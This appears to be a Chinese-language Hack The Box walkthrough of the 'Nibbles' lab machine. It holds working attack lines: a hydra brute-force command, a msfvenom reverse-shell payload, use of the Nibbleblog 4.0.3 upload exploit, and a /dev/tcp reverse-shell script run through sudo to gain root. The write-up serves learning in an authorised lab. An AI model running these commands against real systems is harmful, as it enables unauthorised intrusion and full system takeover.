【HTB】Nibbles(文件配置错误)

网络测
• 阅读 1357

免责声明

本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任何非法用途,对此产生的一切后果,本人不承担任何责任,也不对造成的任何误用或损害负责。

服务发现

┌──(root💀kali)-[~/htb/Nibbles]
└─# nmap -sC -sV 10.10.10.75    
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-11 03:53 EST
Nmap scan report for 10.10.10.75
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.67 seconds

目录爆破

┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.10.75 

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492

Output File: /root/dirsearch/reports/10.10.10.75/_21-12-11_03-56-40.txt

Error Log: /root/dirsearch/logs/errors-21-12-11_03-56-40.log

Target: http://10.10.10.75/

[03:56:41] Starting:    
[03:57:40] 200 -   93B  - /index.html                                          

只有一个index页面,打开页面显示

Hello world!

查看网页源代码,有一行注释

/nibbleblog/ directory. Nothing interesting here!

打开/nibbleblog/显示一个博客

python3 dirsearch.py -e* -t 100 -u http://10.10.10.75/nibbleblog

再次爆破这个博客的目录

┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.10.75/nibbleblog

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                                                                                                                                                                                             
 (_||| _) (/_(_|| (_| )                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                                             
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492

Output File: /root/dirsearch/reports/10.10.10.75/-nibbleblog_21-12-11_04-05-45.txt

Error Log: /root/dirsearch/logs/errors-21-12-11_04-05-45.log

Target: http://10.10.10.75/nibbleblog/

[04:05:46] Starting:                              
[04:06:06] 200 -    1KB - /nibbleblog/COPYRIGHT.txt                         
[04:06:08] 200 -    5KB - /nibbleblog/README                                
[04:06:10] 200 -   34KB - /nibbleblog/LICENSE.txt                           
[04:06:11] 301 -  321B  - /nibbleblog/admin  ->  http://10.10.10.75/nibbleblog/admin/
[04:06:12] 200 -    1KB - /nibbleblog/admin.php                             
[04:06:12] 403 -  312B  - /nibbleblog/admin/.htaccess                       
[04:06:12] 200 -    2KB - /nibbleblog/admin/                                
[04:06:12] 200 -    2KB - /nibbleblog/admin/?/login                         
[04:06:13] 200 -    2KB - /nibbleblog/admin/js/tinymce/                     
[04:06:13] 301 -  332B  - /nibbleblog/admin/js/tinymce  ->  http://10.10.10.75/nibbleblog/admin/js/tinymce/
[04:06:29] 400 -  303B  - /nibbleblog/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[04:06:33] 200 -    1KB - /nibbleblog/content/                              
[04:06:33] 301 -  323B  - /nibbleblog/content  ->  http://10.10.10.75/nibbleblog/content/
[04:06:44] 200 -    3KB - /nibbleblog/index.php                             
[04:06:44] 200 -    3KB - /nibbleblog/index.php/login/                      
[04:06:44] 200 -   78B  - /nibbleblog/install.php                           
[04:06:46] 301 -  325B  - /nibbleblog/languages  ->  http://10.10.10.75/nibbleblog/languages/
[04:07:01] 301 -  323B  - /nibbleblog/plugins  ->  http://10.10.10.75/nibbleblog/plugins/
[04:07:02] 200 -    4KB - /nibbleblog/plugins/                              
[04:07:17] 200 -    2KB - /nibbleblog/themes/                               
[04:07:17] 301 -  322B  - /nibbleblog/themes  ->  http://10.10.10.75/nibbleblog/themes/
[04:07:18] 200 -    2KB - /nibbleblog/update.php    

这次信息挺丰富,一个个分析

README 文件暴露出cms版本

====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01

admin模块看名字应该是管理登录页面,但是配置错误,现在可以遍历目录里的所有文件,里面各种.bit文件查看网页源代码时甚至可以看到php源代码
admin.php是登录页面
content模块也有文件遍历,user.xml文件暴露出一个用户名admin,但是找不到密码

如果尝试用下面的命令爆破

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.75 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^&login=Login:Incorrect username or password."

会触发一个web保护

Nibbleblog security error - Blacklist protection

上面这条保护规则在/nibbleblog/admin/boot/rules/4-blacklist.bit

if($_DB_USERS->blacklist())
    exit('Nibbleblog security error - Blacklist protection');

所以好像不能爆破。

找到一个config文件/nibbleblog/content/private/config.xml

然而没有暴露出密码,但是有一个email:admin@nibbles.com

我们猜测是登录的账号是admin,然后使用公司名nibbles登录,发现这个正是密码

获得cms登录凭证:admin:nibbles

现在我们有了cms的名字,版本号,已经登录账号,kali搜索这个cms的利用exp

┌──(root💀kali)-[~/htb/Nibbles]
└─# searchsploit nibbleblog 4.0.3                                                                                                                                                                                                                                                                                      130 ⨯
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                                                                                                             |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)                                                                                                                                                                                                                                      | php/remote/38489.rb
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

初始shell

这个payload要使用Metasploit,但是我不想使用这个工具。根据漏洞编号,我在github上找到了这个python版本的exp

按照说明

  1. 先编译一个payload,保存在nibble.txt
msfvenom -p php/reverse_perl --format raw -o nibble.txt LHOST=10.10.14.3 LPORT=4444
  1. 修改exp里面的这几行代码,保存

    nibbleUsername = "admin"
    nibblePassword = "nibbles"
    
    nibbleURL = "http://10.10.10.75/nibbleblog/"
    
  2. 开启监听

    nc -lnvp 4444
  3. 执行攻击

    ┌──(root💀kali)-[~/htb/Nibbles]
    └─# python exp.py                                                                                                                                                                                                                                         
    [-] LOGIN RESPONSE: 200 OK
    [+] Login Successful.
    [-] Upload likely successful.
    [-] UPLOAD RESPONSE: 200 OK
    [+] Exploit launched, check for shell.
    [-] EXPLOIT RESPONSE: 200 OK
    
  4. 收到反弹shell

    ┌──(root💀kali)-[~/htb/Nibbles]
    └─# nc -lnvp 4444                  
    listening on [any] 4444 ...
    connect to [10.10.14.3] from (UNKNOWN) [10.10.10.75] 37284
    id
    uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
    whoami
    nibbler
    

提权

查看sudo特权

nibbler@Nibbles:/home$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

可以执行一个叫monitor.sh的文件

但是这个文件在系统中是不存在的

nibbler@Nibbles:/home$ cat /home/nibbler/personal/stuff/monitor.sh
cat /home/nibbler/personal/stuff/monitor.sh
cat: /home/nibbler/personal/stuff/monitor.sh: No such file or directory

所以思路很简单,我们创建这个文件,然后反弹一个root shell

  1. 准备monitor.sh的内容为:

    #!/bin/bash
    0<&196;exec 196<>/dev/tcp/10.10.14.3/4242; sh <&196 >&196 2>&196
    
  2. kali 开启一个新的监听

    nc -lnvp 4242
  3. sudo执行

    nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo  /home/nibbler/personal/stuff/monitor.sh
    <er/personal/stuff$ sudo  /home/nibbler/personal/stuff/monitor.sh            
    /home/nibbler/personal/stuff/monitor.sh: line 2: 196: Bad file descriptor
  4. 收到root权限反弹

    ┌──(root💀kali)-[~/htb/Nibbles]
    └─# nc -lnvp 4242                                                                                                                                                                                             1 ⨯
    listening on [any] 4242 ...
    connect to [10.10.14.3] from (UNKNOWN) [10.10.10.75] 43962
    id
    uid=0(root) gid=0(root) groups=0(root)
    whoami        
    root
    
点赞
收藏
评论区
推荐文章
李志宽 李志宽
4年前
【渗透测试】内网渗透中的端口转发
一、内网渗透中的端口转发需要知道,在渗透的整个流程中,根据web应用或者开放的端口进行渗透,获取只是渗透这门艺术的一小部分,在真实的错综复杂的企业环境中进行内网渗透,其实水很深,涉及内网穿透,端口转发,域渗透,提权等一系列的难题。所以这篇文章对内网渗透学习进行一些记录。在这过程中参考了很多前辈们的宝贵经验,我把这些链接进行了收集,放在参考文献部分。二、转发
Johnny21 Johnny21
4年前
Nessus漏扫
Nessus号称是世界上最流行的漏洞扫描程序,全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。Nessus不同于传统的漏洞扫描软件,Nessus可同时在本机或远端上遥控,进行系统的漏洞分析扫描。Nessus也是渗透测试重要工具之一。所以,本章将介绍安装、配置并启动Nessus。5.1.1安装和配置Ne
李志宽 李志宽
3年前
渗透测试:看“道德黑客”如何进行模拟攻击
前言:渗透测试是指安全专业人员在系统所有者的许可下,模拟对网络或计算机系统的攻击以评估其安全性的过程。不过,尽管是“模拟”攻击,但渗透测试员同样会把现实世界中攻击者的所有工具和技术都用到目标系统上,只是他们并不以发现的漏洞或获取的信息用来牟利,而是将结果上报给所有者,以帮助其提高系统安全性。由于渗透测试人员遵循与恶意黑客相同的攻击策略,所以他们有时候被称为“
Wesley13 Wesley13
4年前
JAVA Swing日期选择控件datepicker的使用
声明:本控件来自互联网,仅可应用于个人项目,不可商用,如您未遵守造成的任何问题请自行承担点击下载datepicker.jar使用方法1、导入  在eclipse中,单击你的项目名,右键–BuildPath–AddExternalArchives–选择datepicker.jar2、使用importjav
Wesley13 Wesley13
4年前
CTF
CTFPwn\BJDCTF2nd\r2t4博客说明文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!CTP平台网址https://buuoj.cn/cha
Easter79 Easter79
4年前
SQL注入基础 sql注入详细解释 小白学习笔记
sql注入作为安全攻防中最重要的一个部分,可以说是所有渗透测试注入中最为重要的一个注入,不管是预防还是测试,都需要扎实的基础才能明白sql注入。温馨提示:此文章仅限于学习记录与讨论,不得随意测试或者注入,互联网不是法外之地,任何除学习之外的事情与作者无关。sql注入顾名思义就是执行sql命令原理:执行的用户能使用sql注入绕过认证机制
Stella981 Stella981
4年前
Python爬取网易云音乐辑的图片、专辑名和专辑出版时间
本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,如有问题请及时联系我们以作处理。作者:阿里波特来源:CSDNPython爬虫、数据分析、网站开发等案例教程视频免费在线观看https://space.bilibili.com/523606542!(https://oscimg.oschina.net/
Stella981 Stella981
4年前
SQL注入基础 sql注入详细解释 小白学习笔记
sql注入作为安全攻防中最重要的一个部分,可以说是所有渗透测试注入中最为重要的一个注入,不管是预防还是测试,都需要扎实的基础才能明白sql注入。温馨提示:此文章仅限于学习记录与讨论,不得随意测试或者注入,互联网不是法外之地,任何除学习之外的事情与作者无关。sql注入顾名思义就是执行sql命令原理:执行的用户能使用sql注入绕过认证机制
Stella981 Stella981
4年前
Python 实现短信轰炸机
原理其实很简单,就是利用selenium包打开各种网站的注册页,输入轰炸的号码,实现轰炸。其实也算是利用了注册漏洞。申明:仅娱乐使用,禁止:u7981:️用于非法用途!若用于非法用途,后果及法律责任博主一律不承担很多人学习python,不知道从何学起。很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。很
Wesley13 Wesley13
4年前
HTB
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.68本次使用https://github.com/Tib3rius/AutoRecon进行自动化全方位扫描执行命令 autorecon10.10.10.68
Stella981 Stella981
4年前
Python 分析电影《南方车站的聚会》
前言本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。作者:程序员野客PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取http://note.youdao.com/noteshare?id3054cce4add8a909e784ad934f95